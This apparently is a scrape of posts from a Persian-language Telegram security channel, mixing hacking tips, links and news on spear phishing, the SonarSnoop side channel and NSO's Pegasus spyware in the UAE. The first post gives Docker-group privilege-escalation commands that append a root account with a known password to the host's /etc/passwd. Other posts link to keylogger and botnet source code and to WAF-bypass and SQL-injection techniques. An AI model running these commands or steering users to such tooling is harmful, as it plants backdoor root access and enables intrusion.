اگر به یک سیستم لینوکسی دسترسی دارید و id کاربر شما نشان میدهد که شما عضو گروه docker نیز هستید، میتوانید با دستورات زیر سطح دسترسی خود را در کانتینرها به روت افزایش دهید:

$> docker run -it --rm -v $PWD:/mnt bash

دستور زیر حسابی با نام کاربری toor و پسورد password اضافه خواهد کرد:

#> echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /mnt/etc/passwd


#docker
#linux
#privesc
#trick

@sec_nerd

گزارشات امریکایی ها نشان میدهد که روسها در حال فعالیت بر روی نقاط ضعف این کشور برای تاثیرگذاری بر روی انتخابات میان دوره ای هستند.
روش اصلی بکار گرفته شده توسط روسها spear phishing است که در آن ایمیلهایی حاوی لینکهایی به وبسایتهای جعلی قرار دارد. روسها با این روش موفق شدند کمیته ملی دموکراتها را پیش از این هک کنند.
با توجه به انتشار عمومی بدافزارهایی که از آژانس های اطلاعاتی دزدیده شده اند، حال هکرها میتوانند به راحتی اطلاعات ارزشمند و حجیمی را از افراد سرقت کنند. تنها هفته پیش مایکروسافت ۶ دامنه جعلی را که گویا توسط روسها رجیستر شده بودند بلاک کرد.
به لطف جهانی سازی نام دامنه ها، حالا به هر زبانی میتوان دامنه ساخت و این به هکرها کمک میکند تا با استفاده از علائم خاص (homoglyphs)‌ و گول زننده دامین های جعلی ای ثبت کنند که تشخیص آن در نگاه اول حتی برای کارشناسان امنیت و اینترنت نیز آسان نیست. (نمونه این مورد را در تبلیغ تلگرامی آدیداس و بی ام و دیده اید)
داستان زمانی تلخ تر میشود که این دامین های جعلی با گواهینامه های دیجیتال (https) اعتمادسازی بی نظیری را در قربانی خود ایجاد میکنند. برای مثال تنها در سال گذشته ۱۵ هزار وبسایت ترکیبی از نام paypal را داشتند و گواهینامه دیجیتال دریافت کرده بودند.
بنظر میرسد بکارگیری یک چارچوب شفافیت برای تشخیص اعتبار گواهینامه های دیجیتال و حتی نام دامنه ها و صفحات شبکه های اجتماعی الزامی میباشد.
در نهایت آموزش افراد بسیار حائز اهمیت بوده و باید در اولویت قرار گیرد.

منبع:
https://edition.cnn.com/2018/09/01/opinions/spear-phishing-has-become-even-more-dangerous-opinion-vishwanath/index.html


#news
#usa
#russia
#iran
#electron
#dnc
#spear_phishing

@sec_nerd

فایرفاکس در نسخه های بعدی خود تمامی اسکریپتهای ماینر را بلاک خواهد کرد!

https://bit.ly/2PwZlV7

#firefox
#miner
#btc
#malware
#coinhive

@sec_nerd

نمونه هایی از برخی نام های کاربری و پسوردهای پیش فرض در دستگاهها که میتوان با استفاده از موتور جستجوی اینترنت اشیاء shodan یافت

(مربوط به بند ۶ پست ریپلای شده)

https://www.behindthefirewalls.com/2013/04/hakcking-with-default-credentials-and.html

#shodan
#network
#pentest

@sec_nerd

$ whoami
SYSTEM

vs.

$ whoami
guest


#fun
#clinton
#ariana_grande

@sec_nerd

پیداکردن پروسه هایی که یک dll خاص را لود کرده اند، با استفاده از پاورشل

#ps
#windows
#tricks

@sec_nerd

تعدادی از روشهای دور زدن WAF

https://www.secjuice.com/web-application-firewall-waf-evasion/

#waf
#pentest
#bypass
#web

@sec_nerd

مشاهده هیستوری دستورات در cmd

#windows
#cmd

@sec_nerd

مجموعه سورس کد بات نت ها

https://github.com/maestron/botnets


#botnet
#source

@sec_nerd

تکنیک های استفاده از آسیب پذیری SSRF در php

https://medium.com/secjuice/php-ssrf-techniques-9d422cb28d51


#php
#web
#pentest
#ssrf

@sec_nerd

محققان دانشگاهی در سوئد و انگلیس موفق شدند با استفاده از اسپیکرهای گوشی های همراه پترن های بازگشایی را بدست آورند.
ایده اصلی در این روش SonarSnoop نام دارد و موقعیت انگشت کاربر را بر روی صفحه دنبال میکند.
این تکنیک از یک برنامه جاسوس که امواج صوتی را از اسپیکرهای پایین و بالای گوشی ، در فرکانسهایی که قابل شنیدن نیست (بین ۱۸ تا ۲۰ کیلوهرتز) منتشر میکند، بهره میبرد.
سپس برنامه با دریافت انعکاس امواج منتشر شده، پس از برخورد با اشیاء نزدیک، که در این مورد انگشت کاربر است، دیتا را جمع آوری کرده و با استفاده از تکنیک های یادگیری ماشین پترن های ممکن برای بازگشایی گوشی را حدس میزند.
روش مذکور بر روی گوشی سامسونگ گلکسی اس ۴ با ورژن اندروید 5.0.1 آزمایش شده است.
ایده SonarSnoop هنوز در ابتدای راه است و برای کامل شدن نیاز به زمان دارد. ایده اولیه این طرح از FingerIO گرفته شده است. این ایده برای بهبود عملکرد ساعت های هوشمند بکار رفت بطوری که کاربر میتواند با کشیدن خطوط بر روی دست خود در نزدیکی ساعت هوشمند، پیامی را به ساعت ارسال کند که این پیام نوعی برقراری ارتباط غیرمستقیم با صفحه لمسی آن می باشد.



لینک مقاله منتشر شده:
https://arxiv.org/pdf/1808.10250v1.pdf


لینک خبر:
https://www.zdnet.com/article/sonarsnoop-attack-can-steal-smartphone-unlock-patterns/


#android
#iphone
#sonar
#misc

@sec_nerd

Spykeyboard

کیلاگر

https://github.com/Sh4rk0-666/Spykeyboard

#keyloagger
#malware
#backdoor

@sec_nerd

نابغه جهانی که مسئول امنیت پیج رابعه اسکویی شده بود متاسفانه از عهده مسئولیتش برنیومد . پست بعدی رو ببینید!

#instagram
#con_man

@sec_nerd

البته فیلم ۱۰۰ درصد قابل اطمینان نیست اما بدونید در حقیقت هم این نوابغ اینستاگرامی در همین حدن!

#instagram

@sec_nerd

از دسترس خارج بودن صفحه رابعه اسکویی میتونه تایید کننده هک شدن پیجش هم باشه.

پیش از این در مورد سیستم اطلاعاتی کشور امارات که ارتباطاتی با ماموران CIA دارد مطلبی منتشر کردیم. (https://t.iss.one/sec_nerd/1461)
اخیرا اسنادی از ارتباط امارات با گروه های هکرهای دولتی اسراییلی نیز منتشر شده است.
در ماه جولای مصاحبه ای با یک شرکت امنیت سایبری اماراتی با نام DarkMatter انجام شد که وظیفه خود را محافظت از سازمانهای بزرگ اعلام کرد. از سازمانهای حکومتی تا بخش خصوصی.
مصاحبه شونده (برای بدست آوردن شغل در شرکت امنیتی دارک متر) شخصی به نام Margaritelli بود که خود پیش از این یک هکر کلاه سیاه بود. مارگاریتلی توسعه دهنده ابزار معروف Bettercap نیز هست.
در ابتدای مصاحبه، سخنگوی کمپانی اعلام کرد که آنها کاوشگرهایی را در سطح شهرهای بزرگ امارات پیاده کرده اند و قرار است تیمی از هکرها به این شبکه نفوذ کرده و دسترسی را برای دارک مَتِر و کارفرمایش (حکومت) فراهم کنند. این کار در راستای اهداف امنیت ملی انجام میشود.
مارگاریتلی اما پس از انتشار مقاله ای تحت عنوان «چگونه امارات تلاش کرد که برای جاسوسی از شهروندانش من را استخدام کند» پیشنهاد کاری را رد کرد.
فردی که به گفته مارگاریتلی با او مصاحبه کرده بود بعدها طی ایمیلی اعلام کرد که این مصاحبه حقیقت ندارد و او ارتباطی با دارک متر نداشته است، اما شواهد نشان میدهد که کوین هیلی کارمند دارک متر بوده و حساب ایمیلی نیز در این شرکت دارد.
شاید این حرف که این شرکت اماراتی در حال جاسوسی از شهروندان است در ابتدا کمی اغراق آمیز به حساب آید اما تحقیقات بعدی intercept نشان میدهد که این ماجرا حقیقت دارد.

https://theintercept.com/2016/10/24/darkmatter-united-arab-emirates-spies-for-hire/


حال بعد از ماجرای جاسوسی از شهروندان و دریافت آموزش از ماموران کهنه کار CIA خبری در خصوص استفاده حکومت امارات از یک جاسوس افزار اسراییلی منتشر شده است. ابزاری که گوشی های هوشمند افراد مخالف حکومت را تبدیل به دستگاههای جاسوسی میکند.
طبق ایمیل های لو رفته در دادخواستها علیه گروه NSO که سازنده جاسوس افزار مذکور و یکی از پیمانکاران سیستم اطلاعاتی اسراییل نیز هست، پیشنهاد فروش آپدیت گرانقیمت این ابزار به اماراتی ها ارائه شده و آنها نیز خواسته اند تا در خصوص کارایی ابزار اطمینان حاصل کنند.
جاسوسی از تلفن امیر قطر؟ جاسوسی از شاهزادگان بانفوذ سعودی که مسئولیت گارد پادشاهی را برعهده دارند؟ یا یک نویسنده عرب در روزنامه لندنی؟
«لطفا دو رکورد ضمیمه را ببینید» پاسخ شرکت NSO به ایمیل اماراتی ها پس از ۴ روز. دو رکورد از تماسهای عبدالعزیز الخمیس، نویسنده عربستانی روزنامه لندنی ME Affairs که از جاسوسی از خود بی اطلاع بوده است.
روش کار این برنامه بدین صورت است که ابتدا پیامکی برای قربانی ارسال میشود تا او را به باز کردن لینک ترغیب کند. پس از باز کردن لینک جاسوس افزار Pegasus بصورت مخفیانه دانلود میشود و به تماسها و ایمیلها و شماره های ذخیره شده دسترسی میابد.
حتی ممکن است صداهای اطراف را نیز ضبط کند.
اسناد مرتبط با امارات نشان میدهد که فردی از NSO بصورت خاص پیشنهاد متن خاصی را برای پیامکها به اماراتیها داده است که ظاهرا برای کشورهای حوزه خلیج فارس (نیویورک تایمز از واژه Persian Gulf استفاده کرده) و با عناوینی مثل تخفیف های رمضان و محافظت از ترکیدن لاستیکهای خودرو در گرما، تهیه شده اند.
در طی یک سال و نیم شرکت NSO مبلغ ۱۸ میلیون دلار از امارات دریافت کرده است.
اماراتی ها همچنین در سال ۲۰۱۴ سعی داشتند تماسهای تلفنی امیر قطر را نیز بدست آورند.
لیست قربانیان حاوی نام متعب بن عبدلله سعودی نیز بود،‌کسی که پس از حمایت اماراتی ها از محمد بن سلمان، از قدرت کنار زده شد و برای مدتی نیز در بازداشت بود.
طبق ایمیلها، اماراتی ها درخواست هک کردن گوشی سعد حریری، نخست وزیر لبنان را نیز داشتند. سعد حریری نیز توسط بن سلمان مدتی بازداشت شد.
پس از توافق عربستان و امارات در تحریم قطر، بیش از ۱۵۹ عضو از خانواده سلطنتی قطر توسط NSO هدف قرار گرفتند که گزارشی از ۱۳ فرد سطح بالا در این لیست به اماراتی ها داده شد.
در حال حاضر دو شکایت از شرکت NSO و اماراتی ها ثبت شده است که هنوز پاسخی از سوی این دو ارائه نشده است.

https://www.nytimes.com/2018/08/31/world/middleeast/hacking-united-arab-emirates-nso-group.html

https://en.wikipedia.org/wiki/NSO_Group

🌺🌺انتشار فقط با ذکر منبع 🌺🌺


#news
#uae
#usa
#israel
#ksa
#iran
#qatar
#privacy
#war


@sec_nerd

سند منتشر شده از سوی العربیه

#uae
#spy

@sec_nerd

بایپس Modsecurity و تزریق SQL
CVE-2018-16384

https://0day.city/cve-2018-16384.html

#waf
#bypass
#sqli
#web

@sec_nerd

وقتی دنبال جلب توجه زیادی هستی!

#fun
#oracle

@sec_nerd

براساس اعلام شرکت سایپا، برای مدیریت ثبت نام متقاضیان، فروش به صورت مرحله‌ای شده است به نحوی که سایت هر 15 دقیقه 10 ثانیه باز می‌شود تا آن دسته از افرادی که در سایت حضور دارند امکان ثبت نام پیدا کنند. این روال تا تکمیل ظرفیت ادامه دارد. از مردم تقاضا می‌کنیم برای ثبت نام صبر داشته و به سایت هجوم نیاورند."

درخواست سایپا از ثبت نام کنندگان خودرو برای شکستن رکورد جهانی تایپ و پر کردن فرم اطلاعات فردی در ۱۰ ثانیه!

#fun
#iran
#saipa


@sec_nerd

کروم نسخه ۶۹ با ظاهری جدید و تولیدکننده پسورد منتشر شد

#google
#chrome

@sec_nerd